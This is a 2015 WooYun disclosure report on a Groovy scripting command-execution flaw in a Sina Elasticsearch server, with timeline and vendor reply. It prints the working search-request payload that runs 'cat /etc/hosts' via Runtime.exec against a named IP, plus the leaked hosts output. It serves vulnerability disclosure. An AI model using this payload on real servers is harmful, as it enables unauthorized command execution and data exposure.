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缺陷编号:wooyun-2015-099579

漏洞标题:新浪 Elasticsearch Groovy任意命令执行

相关厂商:新浪

漏洞作者: boooooom

提交时间:2015-03-05 09:33

修复时间:2015-04-20 14:22

公开时间:2015-04-20 14:22

漏洞类型:命令执行

危害等级:高

自评Rank:12

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

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漏洞详情

披露状态:

2015-03-05: 细节已通知厂商并且等待厂商处理中
2015-03-06: 厂商已经确认,细节仅向厂商公开
2015-03-16: 细节向核心白帽子及相关领域专家公开
2015-03-26: 细节向普通白帽子公开
2015-04-05: 细节向实习白帽子公开
2015-04-20: 细节向公众公开

简要描述:

RT

详细说明:

http://124.238.233.74:9200/_search

{"size":1,"script_fields": {"iswin": {"script":"java.lang.Math.class.forName(\"java.io.BufferedReader\").getConstructor(java.io.Reader.class).newInstance(java.lang.Math.class.forName(\"java.io.InputStreamReader\").getConstructor(java.io.InputStream.class).newInstance(java.lang.Math.class.forName(\"java.lang.Runtime\").getRuntime().exec(\"cat /etc/hosts\").getInputStream())).readLines()","lang": "groovy"}}}

漏洞证明:

{"took":8,"timed_out":false,"_shards":{"total":375,"successful":375,"failed":0},"hits":{"total":3134,"max_score":1.0,"hits":[{"_index":"logstash-2015.02.06","_type":"nginx-access","_id":"cii8q8KORtebJVCj2jjsow","_score":1.0,"fields":{"iswin":[["127.0.0.1   localhost localhost.localdomain localhost4 localhost4.localdomain4","::1         localhost localhost.localdomain localhost6 localhost6.localdomain6","218.30.114.84\ttiger.sina.com.cn","124.238.233.74\tlocalhost.localdomain.sina.com.cn"]]}}]}}

修复方案:

http://zone.wooyun.org/content/18894

版权声明:转载请注明来源 boooooom@乌云


漏洞回应

厂商回应:

危害等级:低

漏洞Rank:1

确认时间:2015-03-06 20:31

厂商回复:

此漏洞已经由白帽子反馈给我们,感谢关注新浪安全。

最新状态:

暂无